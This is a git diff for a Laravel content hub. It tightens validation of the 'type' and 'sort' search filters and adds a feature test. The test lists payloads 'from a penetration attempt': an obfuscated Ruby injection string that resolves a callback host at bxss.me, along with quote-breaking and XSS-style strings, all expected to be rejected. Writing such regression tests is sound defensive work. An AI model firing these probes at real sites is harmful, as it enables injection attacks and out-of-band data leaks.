diff --git a/sourcecode/hub/app/Http/Requests/ContentFilter.php b/sourcecode/hub/app/Http/Requests/ContentFilter.php index ae1aa0b7d..5108539a2 100644 --- a/sourcecode/hub/app/Http/Requests/ContentFilter.php +++ b/sourcecode/hub/app/Http/Requests/ContentFilter.php @@ -16,20 +16,20 @@ use Laravel\Scout\Builder; use Override; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; - use function abort; use function trans; class ContentFilter extends FormRequest { - /** @var Builder */ + /** @var Builder */ private Builder $builder; private bool $forUser = false; private bool $languageChanged = false; private bool $queryChanged = false; private bool $typesChanged = false; - #[Override] protected function failedValidation(Validator $validator): never + #[Override] + protected function failedValidation(Validator $validator): never { abort(404); } @@ -42,8 +42,9 @@ public function rules(): array return [ 'q' => ['sometimes', 'string', 'max:300'], 'language' => ['sometimes', 'string', 'max:100'], - 'sort' => ['sometimes', Rule::in('created', 'updated', 'views')], + 'sort' => ['sometimes', 'required', Rule::in('created', 'updated', 'views')], 'type' => ['sometimes', 'array'], + 'type.*' => ['string', 'max:255', 'regex:/^[a-zA-Z0-9._+ ]+$/'], ]; } @@ -89,15 +90,13 @@ public function getLanguageOptions(bool $withExpectedHits = false): array return $options ->map( - fn(int $value, string $key) => - $key === '' - ? trans('messages.filter-language-all') - : (locale_get_display_name($key, $displayLocale) ?: (locale_get_display_name($key, $fallBack) ?: $key)), + fn(int $value, string $key) => $key === '' + ? trans('messages.filter-language-all') + : (locale_get_display_name($key, $displayLocale) ?: (locale_get_display_name($key, $fallBack) ?: $key)), ) ->when( $withExpectedHits, - fn(Collection $items) => - $items->map(fn(string $value, string $key) => sprintf('%s (%d)', $value, $options[$key] ?? 0)), + fn(Collection $items) => $items->map(fn(string $value, string $key) => sprintf('%s (%d)', $value, $options[$key] ?? 0)), ) ->sort() ->toArray(); @@ -217,8 +216,7 @@ public function applyCriteria(Builder $query): Builder count($this->getContentTypes()) > 0, fn(Builder $query) => $query ->whereIn('content_type', $this->getContentTypes()), - ) - ; + ); $this->builder = clone($query); @@ -306,8 +304,6 @@ public function getWithModel(Builder $builder, int $limit, bool $forUser = false */ private function attachModel(array $hits, bool $forUser, bool $showDrafts): Collection { - $hits = new Collection($hits); - $eagerLoad = ['users']; if ($showDrafts) { $eagerLoad[] = 'latestVersion'; @@ -316,12 +312,14 @@ private function attachModel(array $hits, bool $forUser, bool $showDrafts): Coll $eagerLoad[] = 'latestPublishedVersion'; } + /** @phpstan-ignore-next-line */ $contents = Content::whereIn('id', $hits->pluck('id')) ->with($eagerLoad) ->withCount(['views']) ->get() ->keyBy('id'); + /** @phpstan-ignore-next-line */ return $hits ->map(fn(array $item) => [ ...$item, diff --git a/sourcecode/hub/tests/Feature/ContentFilterTest.php b/sourcecode/hub/tests/Feature/ContentFilterTest.php new file mode 100644 index 000000000..3dc1d8eab --- /dev/null +++ b/sourcecode/hub/tests/Feature/ContentFilterTest.php @@ -0,0 +1,70 @@ +rules(); + + $validator = Validator::make([], $rules); + $this->assertTrue($validator->passes()); + + // Type parameter + $validator = Validator::make(['type' => ['H5P.DragText', 'H5P.Flashcards', 'text', 'something else', 'something different']], $rules); + $this->assertTrue($validator->passes()); + + $validator = Validator::make(['type' => ["string\nvalue"]], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['type' => ["string\tvalue"]], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['type' => 'string_value'], $rules); + $this->assertTrue($validator->fails()); + + // Some payloads from a penetration attempt + $validator = Validator::make(['type' => ['""...".replace("z","o")"']], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['type' => ['+A' . chr(70 - 3) . chr(22 * 4) . chr(108) . chr(88) . chr(104) . chr(81) . 'require"socket" Socket.gethostbyname("hitza"+"bwdoorkva3024.bxss.me.")[3].to_s+"']], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['type' => ['\'">']], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['type' => ['Accordion\'"()&%']], $rules); + $this->assertTrue($validator->fails()); + + // Sort parameter + $validator = Validator::make(['sort' => ''], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['sort' => null], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['sort' => 'not valid'], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['sort' => ['updated']], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['sort' => 'created'], $rules); + $this->assertTrue($validator->passes()); + } + + public function testContentIndexReturns404OnFailingValidation(): void + { + $response = $this->getJson(route('content.index', ['type' => 'string_value'])); + $response->assertStatus(404); + + $response = $this->getJson(route('content.index', ['sort' => ''])); + $response->assertStatus(404); + } +}